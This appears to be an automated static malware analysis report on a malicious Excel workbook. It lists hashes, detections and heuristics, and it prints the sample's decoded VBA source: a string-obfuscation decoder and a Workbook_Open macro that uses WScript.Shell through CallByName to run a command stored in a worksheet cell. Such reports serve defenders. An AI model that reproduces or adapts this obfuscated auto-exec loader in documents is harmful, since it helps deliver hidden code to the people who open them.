Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 360ddf9e50b82340…

MALICIOUS

Office (OLE)

58.5 KB Created: 2018-09-10 05:24:05 Authoring application: Microsoft Excel First seen: 2019-03-10
MD5: 0b93961b924db5b38778e69ae98aa48e SHA-1: e8bafbf1d778b1259e7c717d447904300e99fa50 SHA-256: 360ddf9e50b82340152b30000cb7c4ff48946ce73cd0784d320fea23027ba336
320 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

This Excel file contains heavily obfuscated VBA macros, including a Workbook_Open event, designed to execute arbitrary code. The `CreateObject(Y_("6B6777867D848842677C798080"))` call reconstructs to `CreateObject("WScript.Shell")`, which is then used with `CallByName` to execute content from the 'Tope' sheet. This indicates the macro's purpose is to download and execute a second-stage payload.

Heuristics 8

  • ClamAV: Xls.Malware.Valyria-6934925-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-6934925-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 228 bytes
SHA-256: 962aaf1d57f0a7207e98bd37b3a4cfa339dc6a87bd287090a5d69186204feb4a
Preview script
First 1,000 lines of the extracted script
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Top
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1056 bytes
SHA-256: eb863a792f6fb63e96ead287df60f3b5e91440098c5e847594602899da5214cd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit
Private Function Y_(ByVal X_ As String)
Dim F_ As String
Dim LP_ As Long
For LP_ = 1 To Len(X_) Step 2
    F_ = F_ & Chr(Val(Chr(Val(Chr(51) & Chr(56))) & Chr(Val(Chr(55) & Chr(50))) & Mid(X_, LP_, 2)) - 20)
Next
Y_ = F_
End Function
Sub Workbook_Open()
Application.Run "ThisWorkbook.MOHHZ_"
End Sub
Private Sub MOHHZ_()
CallByName CreateObject(Y_("6B6777867D848842677C798080")), Y_("668982"), VbMethod, Y_(ThisWorkbook.Sheets("Tope").Range("G135").Value), 0, True
End Sub

Private Function JFI_() As String
For  = 44 To 77:TBESJJUWSGW_(aQZWBZKOAE_ & LSGYISCSGU_(34, 4), 11)):Next i:GUEJOBWR_ = aFEVOSWAUNP_:For  = 44 To 77:TBESJJUWSGW_(aQZWBZKOAE_ & LSGYISCSGU_(34, 4), 11)):Next i:JFI_ = PWTNDLHUJ_:
End Function

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